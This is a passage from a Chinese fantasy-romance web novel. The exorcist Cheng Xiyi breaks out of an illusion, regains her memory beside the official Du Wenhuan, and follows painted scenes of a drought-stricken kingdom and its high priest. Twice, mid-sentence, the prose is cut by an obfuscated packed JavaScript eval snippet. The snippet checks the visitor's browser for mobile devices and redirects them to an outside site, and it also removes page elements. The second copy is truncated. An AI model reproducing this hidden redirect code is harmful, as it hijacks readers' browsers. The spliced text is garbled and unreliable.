“骗你做什么?”程希夷笑道,“这城中有九头鸟引天地之灵气,已经不需要魂魄滋养了,这城中的人再修炼修炼,恐怕不日或可修成鬼仙,重塑人身呢。你看我,一般的鬼魂进去了出不来,但我可以,而且感觉很好,我还想再进去,在里头修炼呢。” 老翁原本一个字都不信,但她这番话情真意切,他也不由得动了去那里的心思。 天君承诺过他,收集九千九百九十九只魂魄后就帮他重返阳世,长生不老。 可她所说修成鬼仙诱惑也很大,若是修炼成仙,他不仅长生不老,而且法力无边。 到时候就算是天君,恐怕也比不上他了。 万一这姑娘撒谎,他就将她一同拉入城中,同归于尽。 见老翁沉默不语,程希夷知道他动了心思,催促说:“如何?” 老翁咬咬牙,一口答应道:“好,我同你前去。” “请。” 老翁留了个心眼,让程希夷走在前,后者倒是没什么意见,脚步轻松,笑意盈盈地走在前头。 那妄生城从迷雾中浮现,城门口的“妄生城”三字似乎用血勾画,愈发鲜红。 “走吧。”在踏入城池的前一刻,程希夷转过身对老翁说。 到了这里,老翁也没什么顾虑了,迈步进了。 待他刚进去,程希夷立刻闪身出来,妄生城如同一个张着血盆大口的怪物,一口将老翁吞下,而后隐匿在浓雾之中。 真可怕。程希夷想,这城是活的,那老翁充满贪欲的魂魄也是它的养料。 她回到河边,从那老翁的篓子里拿起一条钓上来的赤鱼,又来到船边,将它交给船夫。 “现在可以开船了吧。”她语气淡然,面无表情地对这一直在看戏的船夫说。 “当然。”船夫笑着接过那条鱼,方才发生的一切都被他收入眼底,但他才不管这些,只要付了船费都是客,管这船费是怎么来的呢。 程希夷如愿坐上了船,低头看河面时没注意到船夫嘴角那一闪而过的狡黠笑意。 这河甚是宽阔,上船渡河时更有这种感觉,从河中看方才脚还踏着的陆地,就像在看一片不起眼的草甸。 船夫小心地撑竿绕过河中浮冰,那浮冰在远看难以注意,万一碰上就会沉船。 程希夷正想走到船舱中,忽见一闪烁着光亮的物什从上游飘流而来。 她心念一动,下意识去捞,可那河水冒着的热气又让她手缩了缩。 船夫好言提醒道:“姑娘,这水是沸水,你一普通魂魄去捞不是找死么?” 程希夷没理会他,待那银光近了,伸手一捞,一枚银锁赫然在手中。 “我的手……”程希夷并没感觉手被烫到了,这河中的水与岸边的水似乎有些不同,看起来滚烫,实则是温的。 她看向手心里那枚银锁,虽有银光,但已是旧物,中心处有一道刻痕,像是被匕首之类的贯穿过,后来又修复了,只是那道痕迹却抹不掉。 一握住它,她胸口处就涌上一股热流,仿佛心脏又重新开始跳动,可用手去摸,心脏处却没有一点动静。 它是什么神仙法器么? 程希夷细细摩挲赏鉴,可它看来看去,只是一枚不值钱的旧银锁罢了。 船夫见她徒手伸入沸水中居然没事,惊讶了一瞬,又见那是枚银锁,不由得动了贪念,“姑娘,这银锁看起来还值几个铜钱。” 程希夷明白他的意思,连忙将银锁收入袖子,面上露出温和的笑容,语气却不带笑意:“船费已经给你,不必再贪图这枚不值钱的旧银锁了吧。” 船夫忙说:“这是自然,这是自然。” 等船到岸边,停稳后,程希夷轻轻一跃上了岸,船夫将竿一撑,又回对岸去了。 程希夷上了台阶,来到平地,这里阴森森的,迎面便是一座黑雾中的官衙,那门口的牌匾上写有“阴司”二字。 出来两个皂吏,不由分说地就架着她进了正堂。 程希夷跪在堂下,堂上坐着一官吏,身穿黑袍,头戴幞头,问:“下跪何人?” 程希夷想了一会,还是如实回答:“民女不知。” 鬼吏以为她在撒谎,呵斥道:“你未过奈何桥,如何不知?” 程希夷眼神从自己白色的衣角转到堂上鬼吏,答:“民女确实不知。不仅不知姓名,也不知来处,甚至连自己是否为阴魂也不清楚。” “不是阴魂怎会来此?”鬼吏此时也看出端倪,她不像是撒谎,只得唤来一旁管生死簿的主簿,“查她的生平。” “是。”主簿依言迅速翻阅一卷又一卷的生死簿,方答道:“此人名为陆卿云,生于崇福九年,卒于崇福十六年,终年七岁。” 鬼吏听罢,眉头一皱,满是怀疑地说:“这么说,她应该于七岁就夭折了。主簿,你看她像是七岁吗?” 主簿紧张地擦了擦额头,忙又查了一遍,无可奈何地说:“大人,这,这生死簿上确实是这么写的。” 程希夷看他们一严肃一畏缩,心里头不由得觉得有趣,忍了又忍才没笑出声。 明明是他们审问她,现在倒变成他们俩快吵起来了。 至于她自己是谁,对她来说没那么重要,因为她隐隐有种感觉,自己迟早要消散在这天地间,所以知道名字来历又有什么用呢? “找到了!”主簿翻到一页,说,“这陆卿云的确应该在七岁那年夭折,但有人替她补了魂魄,这才多活了十年。如今寿命到头,魂魄如同碎片,勉强来了阴司,却不可再投胎了。” “这么说,是无主孤魂,”鬼吏凶神恶煞地看着程希夷,“来人,把她送入无生河,做一条赤鱼罢。” 左右皂吏听令:“是!” 他们手持铁链与枷锁,就要将程希夷押走。 程希夷隐隐约约觉得这些鬼有点古怪,但又说不出古怪之处,还未来得及反抗,只听得外头一声严厉的怒呵:“且慢!” 她抬头看向门口,逆光中一个绯衣官吏抬脚进了门,他身姿挺拔,脚步又急又快却不失风度,待走到她面前,才看清是一个年轻俊朗的青年官吏。 他眉宇疏朗,目若明星,仪姿闲雅,不笑时疏离有礼,望之如松如竹。 程希夷不知他是谁,只觉得陌生又熟悉,直盯着想认出他来。 绯衣官吏一进来就走到她面前将她扶起,奇怪的是那两个手持枷锁的皂吏居然不敢上前阻拦。 “你受伤了么?”他握住她冰凉的手,关切地问。 “没有。”程希夷不知道这人面上看着挺守礼的,为什么一来就如此轻薄。 她不大高兴地抽出被他握住的手,疑惑地问:“你是谁?” 绯衣官吏的神色有一瞬间的受伤,但他很快整理好心情,柔声说:“无妨,待会就会想起来了,我先带你出去。” 他转头看向鬼吏,字字铿锵:“她并不属于这里,是被那些巫师所害,我要带她走。” 鬼吏同一旁的主簿窃窃私语:“他是谁?看他的官袍,在阳间也是个不小的官,为何会在这?” 主簿说:“不知。但这人身为阳间官吏,被天子龙气加持,以凡人之躯来此,寻常鬼魂不可近身,还是速速送他回去罢。” 鬼吏微微颔首,同意他的建议,遂对绯衣官吏说:“你为阳世人,自然可以离开,可她为阴间鬼,非得留在此处不可。此乃天理伦常,不可破坏。” 绯衣官吏抓起程希夷的左手,与他对峙:“若她是鬼魂,为何我可以碰到她?” 程希夷也愣住了,他说得对,若她真的是鬼魂,怎么可能感受到从他手里穿出的温暖的热度? 就在此时,一股热流从她掌心划过,她看向自己的手,刺眼的鲜红从指缝中流出,滴落在地上。 但这并不是她的血。 “你的手流血了。”程希夷没注意到自己在说这句话时语气带着些许好奇、关切和悲伤。 她反手将他的手握住,如同新生的稚子打量着他手心的伤口,又看了看自己左手掌心的一道相似的痕迹。 这不一样。她心里冒出一个声音说,他的手是用利刃割伤的,而她手中的痕迹是反噬。 反噬—— 她从袖中拿出那枚从河中捞出的旧银锁,放到绯衣官吏的掌心,自己的手覆于其上,往事如那奔腾的河水涌入她的脑中。 她触碰禁术被赶下山、接下程玉和的命令接近杜文焕,最后离开京城来到大柳树村。 她全都想起来了。 那枚银锁里头的一小点蓝光也悄然钻进了她的掌心。 程希夷抬眼看着面前熟悉的人,大梦初醒般喃喃:“杜大人?” 杜文焕眉间如雪化开,不由得露出一丝难以遮掩的喜悦笑容,薄唇轻言:“你记得我了?” 程希夷没有回答,她扑进杜文焕的怀中,“杜大人,你没事就好。” 杜文焕又惊又喜,抬起的手不知所措,随后温柔地搂住她,轻抚她的青丝,“我没事,我哪会有事。” “可你的伤……”程希夷从他怀中探出头,去摸他之前的伤口,沿着他袍上已呈暗黑的干涸血迹从手臂摸到肋骨处时 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程希夷对付这些鬼魂胸有成竹,悠然自得道:“你们不是什么阴司判官,不过是些被人驱使的游魂,让你们背后那位‘天君’出来见我。既然这么大费周章造一个幻境将我困住,如今我识破这幻境,也该出来相见了罢。” 众鬼吏惧怕她手中的黄符,可天君的命令不得不听,一阵黑雾掠过,它们纷纷化作原本的模样,朝程希夷二人扑过来! 程希夷见它们死不悔改,用朱砂在黄符上画了几笔,手中掐决,存想神灵,精气入符,口念:“太上老君,教我杀鬼,与我神方,上呼玉女,收摄不祥,登山石裂……先杀恶鬼,后斩夜光。何神不伏,何鬼敢当,急急如律令![注1]” 那几只鬼魂被黄符震慑得无影无踪,可从周围的黑暗中又冒出了许多模样稀奇古怪的鬼魂,全都扑上来想吞噬掉他们。 它们的主要目标是程希夷,杜文焕周围只有几个碍于他阳世官吏的身份,不敢上前的鬼魂。 杜文焕见程希夷面对这无穷无尽的鬼魂力不从心,急忙上前,一边将她护在怀中,一边往外跑去,“走!” 他们离开了阴司,又沿着街道不知跑了多久,路上总有源源不断的鬼魂,这么跑下去也不是办法。 程希夷灵机一动,她身上还有几张符,可以凭借这几张符咒找到那邪巫的所在,只是自己用符时不可被打扰。 她拉住杜文焕,后者停下脚步,疑惑地朝她看过来,只见她低着头不愿意直视他,羞赧地说:“杜大人,我有办法出去了,请你帮我一个忙。” 杜文焕难得见她露出女儿家的娇羞情态,可这情况下又似乎不该是这个意思,反倒让他不解了,“怎么了?若我有可帮忙的地方,自当全力相助。” 程希夷接下来的话让他不仅明了她为何露出那种情态,自己也不好意思起来,只听她说:“杜大人,我需要找个地方念咒画符,在这期间不能打扰。我可能,可能需要坐在你怀中,让你替我挡住这些鬼魂一会。” “既是正事,自然义不容辞。”杜文焕说得坦坦荡荡,耳根却也不自觉红了。 二人席地而坐,杜文焕将程希夷轻轻环住,太近怕她施展不开,太远怕挡不住,只好虚抱住。 她看起来整个人窝在他宽厚的怀中,实际上有不小的施展空间。 程希夷近得能听到他胸膛里的那颗心发出的如打鼓般的声响,温暖的气息萦绕在她耳旁,还能闻到他身上翠竹的清香。 幸好她定力够,反复在心中念清静经,这才没有让自己想入非非。 她从怀中拿出三张符纸,这里没有法坛,缺少了一些东西,但事到如今也没有办法。 手中摸出一把刚才在路上捡的旧剑,剑身有些磨损,幸好还能用。 剑的寒光能震慑鬼魂,她要在这里造一个小小的法阵,让这柄剑带他们劈开前路。 她用手指血在地上画太极八卦阵,又咬破舌尖画符,舌尖血属阴,对鬼魂作用极大。 片刻后,她将两张符贴于阴阳两极,一张符贴在剑身上。 随即凝神聚气,“天元太一,精司主兵,卫护世土,保合生精,华衣绣裙,衣冠青巾,青龙左列,白虎右宾,佩服龙剑,五福之章,统领神官,三五将军,有邪必斩,有怪必催,敷祐福祥,启悟希夷,邪怪消灭,五帝降威,护世万年,帝德日熙,黄龙降天,帝寿所期,景宵洞章,消魔却非,急急如律令![注2]” 可那法阵依旧黯淡,一切如旧。 “为什么会没有用?”程希夷略思索了一会,果然还是缺少了连通阴阳的法器。 对了,男属阳,女属阴,或许他们二人坐于阵中,以自身为阵眼会有奇效。 “杜大人,你相信我吗?” 杜文焕没有说话,他握住她的手代替了一切多余的话。 程希夷向他简单说明了这个法阵,杜文焕微微颔首,明了她的意思。 他还有一个担心:“只是你离我太远,鬼魂不会伤了你罢?” 程希夷笑道:“法阵已成,在其中它们伤不了我。” 他们一阴一阳坐于两极,双掌相合,将剑放于之上,共同唱咒:“……阴阳已生,万物归一,鬼灵相避,神明同行——” 法阵透出强烈的光,霎时吞噬此处所有鬼魂,一时间如同白昼,然而很快又重回黑暗,只是再也没有恶鬼的打扰。 程希夷站起身,将剑拔出,剑身如被淬炼般变得雪光锃亮,锋芒逼人。 它剑身颤动,直直刺向前方,程希夷与杜文焕急忙跟了上去。 剑拐了几道湾,最终落在一幅画前。 那副画就是程希夷进这幻境时见到的那副画,画中人身穿鸟兽羽毛做成的袍子,背对着她,看不清面容。 “你是天君?”程希夷对那画说。 她现在觉得这画是活的了。 画中人依旧手持翎羽,从画中传来一个听起来既老又年轻的古怪声音:“汝就是吾的继任者?” “什么继任者?”程希夷疑惑地问。 杜文焕见这画居然开口说话了,眉头一皱,握住她的手,挡在她身前。 那画似乎长了眼睛,看见这里多了一个无关的人,语气不快:“一个不通阴阳之道的凡夫俗子,何以来此?” 画转而对程希夷说:“若汝想知道一切之本源,就随吾来。” 话音刚落,那画中人就不见了踪影,画上浮现出一扇门,用手去碰,门居然吱呀一声推开了。 程希夷正打算一个人赴这天君的鸿门宴,却被杜文焕拉住了。 “我同你前去。”杜文焕目光灼灼,“我虽不通这些,但愿与你同生共死。” 程希夷心头重重一跳,望进他深邃的眸子,心下什么都明白了,反握住他的手,嘴角的笑靥愈发明显,语气轻松道:“我们一定会是同生,走吧!” 二人一同迈入那画中门,待他们进入,那画幽幽地消失了。 46. 入画 门后是一片熟悉得不能再熟悉的黑暗,程希夷想到之前刚进这画中时那一片没有尽头的黑暗和孤独,不由得有些瑟缩。 杜文焕注意到她手心传来的紧张,关切地问:“怎么了?” 他手心的温暖将程希夷困在恐惧中的神智唤回。 对,这里不是之前的那片黑暗,她身边有他以生死相陪,不再是一个人蝺蝺独行了。 她握紧了他的手,笑说:“没事,走吧。” “嗯。”杜文焕没有做过多回应,但在这一片伸手不见五指的黑暗中,心灵的沟通才是最能传达的,所以他与她也不必再多说什么。 这次很快就看到了亮光。 出了这片黑暗,程希夷没有如之前一样失去记忆,身上的衣裳也没有变成素白的,方才从外带来的那把旧剑也还在手上。 莫非只要保持神智,不被孤独吞噬,天君所创的这个黑暗的通道就影响不了她? 还是说他又打算挖什么陷阱?如果不是在她身上做文章,那就是—— 程希夷紧张地看向一旁的杜文焕,急切地问:“杜大人,你还记得我么?” 一旁的杜文焕眼神木然地看向远处,闻言,眼神转向她,目光呆滞而困惑地问:“你……是谁?” “不应该,不应该啊——”他的衣服还是那身绯色官袍,天君布置的这个幻境在消除所有记忆时会将原来的一切线索抹去。 程希夷不解地摸了摸他身上的官袍,身上还有他干涸的血迹,什么都没有变化,可为什么会这样。 那个只会暗中使诡计的天君,她要找他算账! 见她像热锅上的蚂蚁一样急得团团转,杜文焕抚上她紧抓自己衣袍的左手,轻轻笑出了声,“我没事。” “怎么会没事!”程希夷之前一直都是失忆的那个,第一次遇到忘记她的,而且又是他,急得又生气又伤心。 忽地听到他带着一点逗趣的声音,又看着他清澈明亮的眼神,顿时明白了一切。 “杜大人……”她扭过头去不想看他,“你什么时候也会骗人了?” “近朱者赤罢了。”杜文焕低头只看得到她气鼓鼓的侧脸,“真的生气了?” “没有。”程希夷嘟嘟囔囔。 杜文焕绕过去看她,只看到她垂眸时眼睫的湿润。 他急忙在身上翻找,找了半天才在袖中找出一块没沾血的干净帕子,递到她手中。 程希夷见那帕子,愣了一瞬,推开帕子说:“我没!”哭。 见她嘴硬,杜文焕轻叹了口气,却并不打算拆穿,“脸上沾了灰尘,擦擦。” 他抬起她的脸,对上她清透还泛着泪光的双眸,轻柔地为她拭去“灰尘”和眼角的泪水。 她平日笑着的时候总是俏皮的,像恣意的山野精灵,喜欢戏弄路过的书生,却不会为任何感情逗留。 她一哭,就如挂着露珠的风荷,清雅动人,又似乎终于沾染了凡人的感情。 “抱歉,是我的错。”他歉意地说。 他本以为她会笑着打趣回来,到时候被逗趣的恐怕反而是他,没想到竟把她惹哭了。 “我没事。”程希夷一看他的眼睛,双颊就变得滚烫,他的手仿佛火炉,被碰到的肌肤异常热,而且酥酥麻麻的。 不知道是不是错觉,在这个幻境里,她的情感被放大了,怎么都控制不住。 她直觉这样下去,自己的心跳会快得受不了,忙说:“我们还是先找找出口,在这幻境里不可留太久。” “好。”杜文焕有些不舍地将帕子收回袖中,同她一起沿着脚下的土路往前走。 不知走了多久,沿路的植物从翠绿逐渐变得枯黄。 他们来到的这处地方看起来像是一片农田,之所以是“看起来像”,是因为田里的麦子和水稻全都倒成一片。 它们被炙热的烈日烤干了叶片的水分,偶有麻雀栖于其上,不一会就能听到清脆的折断声。 这时节应当是农作物收获的季节,可看这倒地的景象,就知道今年的收成不会好。 从远处走来了一个提着竹篮的妇人,她穿着粗布麻衣,衣服上满是补丁,手指又粗又大,满是茧子,双脚穿着不合适的宽大草鞋,一看就是一位常年劳动的农妇。 杜文焕上前搭话,可说了几句,那妇人视若无睹。 “莫非这妇人有耳疾?” 程希夷觉得不大可能,“我之前也遇到了与这里很像的一处地方,可我搭话,他们总是听得见的。而且她不像是听不见,反而像没看见我们似的。” 他们二人只见那妇人提着竹篮来到农田之后,在那倒地的稻子中不知翻着些什么。 她忽然眼睛一亮,拾起一见东西,程希夷与杜文焕好奇地看去,原来是一只完整的稻穗,上头结出的谷子还算完整和饱满,舂一舂应该可作为食粮。 农妇又找了半天,才找到几只藏在稻穗堆中,没被麻雀吃光的稻穗,而地上散落的谷子几乎被吃光了。 农妇的竹篮不大,堪堪提握,可在这片田里翻找半天,篮子也不过装了一半。 “唉!”她重重叹了口气,又看着愈发毒辣的日头,终于还是拍拍衣裙上沾着的杂草,转身回家了。 程希夷二人跟了上去。 农妇进了一个村庄,而这里遍地都是躺倒的人。 他们个个骨瘦如柴,只能勉强挣扎到阴凉处躲避烈日。 村庄里的房子与其说是房子,倒不如说是几块木板和砖石搭建起来的棚子。 不知谁喊了一声:“有粥喝了!” 原本躺在地上病恹恹的人立刻跳了起来,像猎狗扑食般往那声音的地方跑去。 而那妇人只是转身进了一间低矮的茅草屋。 “他们这是……”程希夷见有些人已经瘦到手臂上的青筋凸起,几乎只剩下一把骨头还想挣扎着去那发粥的地方,心里头有些不忍。 杜文焕倒是对这种情况见怪不怪,“这是旱灾引发了饥荒。来的时候我看这附近的树连树皮都被扒光了,这里的饥荒想必十分严重。” “这样的情况,官府不赈灾么?”程希夷不解,官府里不可能没有储备的粮食,而且,完全可以从别的地方调运粮食过来。 杜文焕无奈地轻轻摇了摇头,“这种情况,朝廷当然会拨赈灾款,但层层下达,到地方官员手里用于赈灾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13462700|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的又有多少呢?凡是灾荒水患之年,黎民受苦,银子支出的款项便大了,贪官的胃口也大了,被吞的钱数不知多少。这灾害若熬得过,国运便昌盛,若熬不过,这隐患便也埋藏下了。” 程希夷看着这些双眼无神的百姓,不禁喃喃:“那这些百姓除了祈求贪官别贪太多,就只有等死的份了么?” 这时她听见一串低低的咒语声。 她走到一处树下,那里有个白发遮面的老人,他衣裳破烂,坐在地上,右手拿着随处捡的木棍,左手握着一块石头念念有词。 见她聚精会神地看着那老人手中的石头,杜文焕不由得问:“那石头怎么了?” “那上面似乎刻了东西。” 她走近,在那老人半摊开的手掌中,看到那枚石头上歪歪扭扭地刻着的是一只有九个头的怪鸟。 “是九头鸟?” 程希夷对杜文焕说:“那上面刻着的东西我曾经见过。在天君给我造的幻境里,有个叫‘妄生城’的地方。那里很古怪,城中生活的‘人’都是鬼魂,却可照到阳光。而那城中的阳光是由一枚蛋发出的,那枚蛋里就是沉睡的九头鸟。我一开始还将它认成了金乌。” “九头鸟?”杜文焕细细琢磨,也觉得不对,“那个天君为何要引你去‘妄生城’,还要让你见到这东西?” 程希夷:“你是说,他是故意让我看见的?” “有可能,”杜文焕扫了一眼周围,“这天君似神非神,似巫非巫,他给我们看的东西一定有他的目的。后来你怎么从那里逃出来的?” 程希夷向他说明了自己的遭遇,又说:“若我在妄生城中所经历的一切都是天君的安排,那提醒我的女子想必也是他的授意。他似乎想让我破解暗喻,又想把我的记忆全部抹去。” 杜文焕想到一个可能:“他想测试你,同时想掌控你。” “可这是为什么?” “还记得入画之前,他对你说了一句话么?” 程希夷记得那句话,天君说她是他的继任者。 “他说我是他的继任者,”程希夷不解,“继他的任成为大巫师?” “还说这里有一切的开始……”杜文焕说,“在你失去记忆的七岁之前,一定有我们都不知道的秘密。” “你怎么知道我不记得七岁之前的事?” 程希夷说完就赶紧捂住自己的嘴,她想起来了,是之前在洞里怕杜文焕晕过去,就把自己的事当故事同他讲了。 “我,我还以为你那时候不清醒,所以不会记住。” 杜文焕笑了笑,认真地看着她,眸光闪烁,“还有一句……” 面对她的时候,笑容不自觉多了起来。 “什么?”程希夷被这眼神看得迷迷糊糊的。 “你说你也会有感情和偏爱,一个能阳光下行走的生命固然很重要,但我的……唔唔唔?” 话没说完,就被一双皙白的手捂住了嘴。 “我想起来了,杜大人,不必提醒我了。”程希夷死命捂住他的嘴,低着头不敢看他,耳尖已经红了。 杜文焕在被捂得昏过去之前,最后想的是:她的手好香,好想亲一下。 47. 祭司 程希夷自知不妥,忙放开了手。 “那是什么?” 她忽然看到远方掀起一阵尘土,正往这边过来。 近了才发现是一群铁骑,其中有一辆马车,但显然是空的。 为首的是一个身穿盔甲的将军,他在树旁下马,穿过程希夷二人,来到老人面前,单手抚肩,微微鞠躬,恭恭敬敬地行了个礼,“大祭司,王请您回去。” 白发老人没理会他,依旧闭目念咒。 见说不动他,将军又说:“王说,若您执意不回,这旱灾恐无解除之日,会有更多百姓受苦,这不会是您想看到的。” 大祭司睁开他那双苍老的眼睛,浑浊的眼神扫过面前一身铁甲的将军,语气幽幽发冷道:“天气如此炎热,将军还全副武装地来迎我,看样子我的面子不小啊。” 将军不理会他的讽刺,态度依旧恭敬,伸手做了个“请”的手势,“请您回朝。” 大祭司丝毫没被打动,重新闭上眼,“请回吧,王的计划,恕老臣不能参与。” “大祭司难道不为族人考虑吗?”将军见他软的不吃,言语便多了几分威胁,“您的族亲已经在宫里候着了。” 大祭司似乎早就知道他们要用这一招似的,轻轻叹了口气,“王如果想杀我,就尽快动手,要我回去是万万不可能的。至于我的族人,这也是他们的命数。” “您的弟子已经在筹谋了。”将军收起了恭敬,直起身子俯视他,“不日恐怕就要出发了。” 闻言,大祭司没了从容,眼中多了几分惊愕:“什么,是谁?!” “当然是您最信任的大弟子。” “明澄?”大祭司沟壑纵横的脸上慢慢浮现出痛苦的神色,那双抓着刻有九头鸟石块的手也在微微颤抖。 “您不在,他自然要听王的话。”将军见他失色,得意地笑了,“他已经破解了您从仙山带来的地图,不日便会启程了。” “为了寻找密卷,已经死了太多的人,”大祭司痛苦地说,“王还是要执意寻么?” 将军收起笑容,意味深长地看了他一眼,“这也是为了后人的福祉。您当初不也是这么想的么?” “我……”大祭司倚着旁边的木棍,颤颤巍巍起身。 周围满目疮痍,树木早已枯死,地上只有沙石,不远处一群人为了那点都称不上粥的米水大打出手,这些绝不是他当年一心寻找仙山时想看到的情景。 “旱灾会有解除的那一天吗?”他自言自语。 “会的。”将军也不是个绝情的人,看着百姓受苦,心里并不是不动容,“古有记载,仙山有宝卷,谓之长生之术、天命之术、逍遥之术。得者身不老,窥天命,行无阻。若有德之主习得,再广推百姓,人人得道,则天下大同,再无这触目惊心的灾害了。” 越说到后面,将军的语气越是激动,仿佛已经看见了那安定祥和,其乐融融的美好画卷。 大祭司却给他泼了一盆冷水,“此举违背天道,不然为何频频出海,平安回来者寥寥无几?” 将军冷哼了一声,不悦道:“大祭司,这是我们解除旱灾最后的机会。若不是你的祈雨无用,王也不会屡次考虑出海寻宝卷。这里也有你的一份责任,而你居然逃避这份责任,对得起你曾经一人之下万人之上的大祭司身份吗,对得起那些信仰你崇敬你指望你替他们解除旱灾的百姓吗!” 这番话显然戳中了大祭司的心,他合上眼,认命道:“你说得对,我还有责任,既然我怎么也躲不开了,就跟你们回去罢。” 见终于说动了他,将军暗中松了口气,命小兵牵来马车。 大祭司登上了马车,将军骑上马,一群人浩浩荡荡往那烈日下赶去。 程希夷刚跟上去,眼前如水波荡漾,那一行人仿佛被定住般停了下来。 “这是怎么回事?”她不解。 杜文焕顿了顿,上前碰了碰那水波纹,却碰到一张平滑的,如纸般触感的画卷。 “这是一张画。”他话音刚落,周围的场景霎时破碎,一片黑暗吞噬了除那张画和他们之外的一切事物。 而那张画越缩越小,直到变成半人高的大小。 程希夷伸手去碰那画中铁骑下的沙石,竟感到几分灼热。 而她指尖触碰过的地方迅速发生变化,沙石变成了海,铁骑变成了身穿白袍的术士。 画面从烈日下的铁骑变成海边的祭祀仪式,隐隐约约地,还听得到海浪拍打岩石和吟诵咒语的声音。 “我们进去吗?”程希夷问。 尽管目前所看到的一切都让她似懂非懂,但她有种直觉,这些事与她有密不可分的关系。 杜文焕看出她想一探究竟,微微颔首道:“自然要进去,既然天君想将我们困在画中,我们当然不能就此止步。” 得了他肯定的答复,程希夷笑着拉住他的手,同他再次入了这画卷。 …… 大祭司立于高台之上,祈福已经结束,但他还有几句话要嘱咐即将率队出海的大弟子明澄。 他的大弟子明澄年轻俊美,眼里满是少年傲气,见师父有话要说,忙附耳听令。 大祭司:“此去不知需要多少时日,途中危险重重,你若真找到仙山之所,只取长生之术的宝卷,切记切记。” “为何?”明澄不解,大费周折去那里就取一卷不会太亏了么? 大祭司怎么会不懂他这个向来志气高远的大弟子的心思,但他也知道一切都是定数,不可更改,最后提醒道:“阴阳相生,物极必反,以凡人之躯更改命数不可贪多。” 明澄应下:“是。” “还有……”大祭司看向大船上站着的一行人,眼里流露出几分慈爱,“你是师兄,要保护他们十一个人的安全,尤其是你的小师妹。阿微身体不好,术法不精,若不是她极力请求,为师本不欲让她去。” 明澄低着头,不知在想什么。 大祭司缓缓说:“她对你的心思,你也知道。若你们平安回来,为师这把老骨头还在,便可为你们主婚……” 明澄打断他道:“师父,弟子一心只为成就大业,暂不想谈男女之事。” “唉——”大祭司轻叹一声,“既然如此,你便去罢。” “是。”明澄行了个礼便退下了。 程希夷与杜文焕一直站在大祭司旁边,见明澄离开,也想同他一块去那大船上,可刚下台阶没几步,还未走到大船处,又回了原地。 “这是怎么回事?” “这里似乎有限制让我们不可再前进了。”杜文焕又试了几次,具是回到原点,“这个场景是一幅画,画面未曾画到的地方就是不可去的地方。” 程希夷看着远方清晰的大船,就算只能看到半个船身,船也仿佛和真的一样,“又或者有人在限制我们。” 杜文焕懂得她的指向:“你是说天君?” “嗯,”程希夷微微颔首,“我曾经听过一个故事,故事中天末国的君主聚集一群人寻找长生之法,而他们也确实寻了回来。” “这里是天末国?”杜文焕环视四周,眼神定在那个望向远方的老祭司身上,“可我不曾听说,天末国有过祭司。” “也许这是多年以前。”程希夷低头喃喃,“如果一切从这里开始,我在其中又是什么角色呢?” 杜文焕离她很近,自然听到了她的话。 关于她,他有太多不了解的事,但他不想看见藏在她眼眸里的那份他人无法参与的孤独和悲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程希夷点了点头,又摇了摇头,“不,我当初只是为了得到家人的消息,但我确实知道了自己的身世。我当时并不相信所以离开那个人,决心去天末国寻找。” “你现在相信那个人说的话了吗?”杜文焕问。 程希夷摇头,“在知道她到底是谁之前,我并不打算相信。” “那个人在京城,”杜文焕细细分析,“他对我的官职和官员被杀案了如指掌,这个人一定在朝中有人,不是他自己,就是别人。” “她是个女子,在维咸国,女子不能做官罢。” “一个女子……”这打破了杜文焕分析朝中势力的思绪,的确,在维咸国,女子入朝做官是严厉禁止的。 之所以说是严厉禁止,是因为他曾见过这么一条法令:女扮男装入科举者,不问情由,一律格杀勿论。 他当时没有多想,现在想来,若此事不曾发生过,那么朝廷为何要将此事严厉禁止呢? “你说的这个人,并不是个简单的人。”杜文焕垂眸时,光在他的眼下打上一层阴影,“也许这里面,真的有我们不曾知道,而又与如今发生的一切牵扯不清的往事。” 他说明那个禁止女子女扮男装科举的禁令,程希夷若有所思,杜文焕又说:“离开这里后,我要回京城探究此事,你同我一起吗?” 这话半是询问半是期许。 程希夷笑了笑,坦然道:“这当然,我答应过要同你回京城。” 她没有说因为三魂受损,不仅只剩下一年寿命,而且不能转世投胎,时间一到,魂魄烟消云散。 但也许,现在并非说的时机。 在他身边多留一些时日,是她的小小私心。 而且,程玉和为何知道那么多事,在她的身上似乎也有许多秘密。 之前程希夷一直以为是她精通卜卦之术,但现在想来,她一直引导自己去做一些事,知道陆家往事以及天末国的故事和预言。 程玉和到底想让她做什么呢? 48. 话疗 这个场景结束,他们眼前又出现了一副新的画卷,只不过这次是空白的。 程希夷和杜文焕默契地对望一眼,一同踏入那空白画卷中。 在踏入的最后一刻,程希夷感受到身后一个异样的眼神,她回头瞄了一眼。 那个原本一直望着海上大船的大祭司竟然定定地转过头看着她。 他不是画卷中的人吗,怎么会看到她? 带着这个疑问,她看到他的嘴唇动了动。 “你有自己的使命。” 那是什么意思? 随即她堕入画卷。 “唔,这是哪?”不知过了多久,程希夷从晕厥中醒来,这才发现自己掉到了一片山林中。 周围覆盖着厚厚的杂草,所以她掉下来并未受伤。 可剑还在手上,杜文焕却不见了。 她用剑撑起身子,走出草堆,边走边喊道:“杜大人,杜大人?” 回应她的只有山林的簌簌风声和偶尔的几声鸟鸣。 杜大人应该和她一块掉下来的,不知道掉到哪里去了。 她环顾四周,这里是一片极为陌生的树林,只有一条曲折的小径,不知通到何处。 林子尽头处,似乎还能听到潺潺流水声。 她顺着水流声走到一条小溪旁,溪水上立着一排拳头大小的光滑石头,组成一排,通向对岸。 在小溪的那头,也是一片树林,草叶遮蔽中,隐隐见到中间露出一座亭子的一角,亭子还站着一个人。 杜大人? 她急忙涉水过去,可那小溪看着浅,水流极为湍急,溪中鹅卵石覆盖一层薄薄的苔藓,极容易滑倒。 她走到那排光滑的石头前,每过一段,就将剑插入石头间的缝隙之中,一步一步过了小溪。 上了岸,她来不及将衣裳拧干,将剑拔出,往亭子跑去。 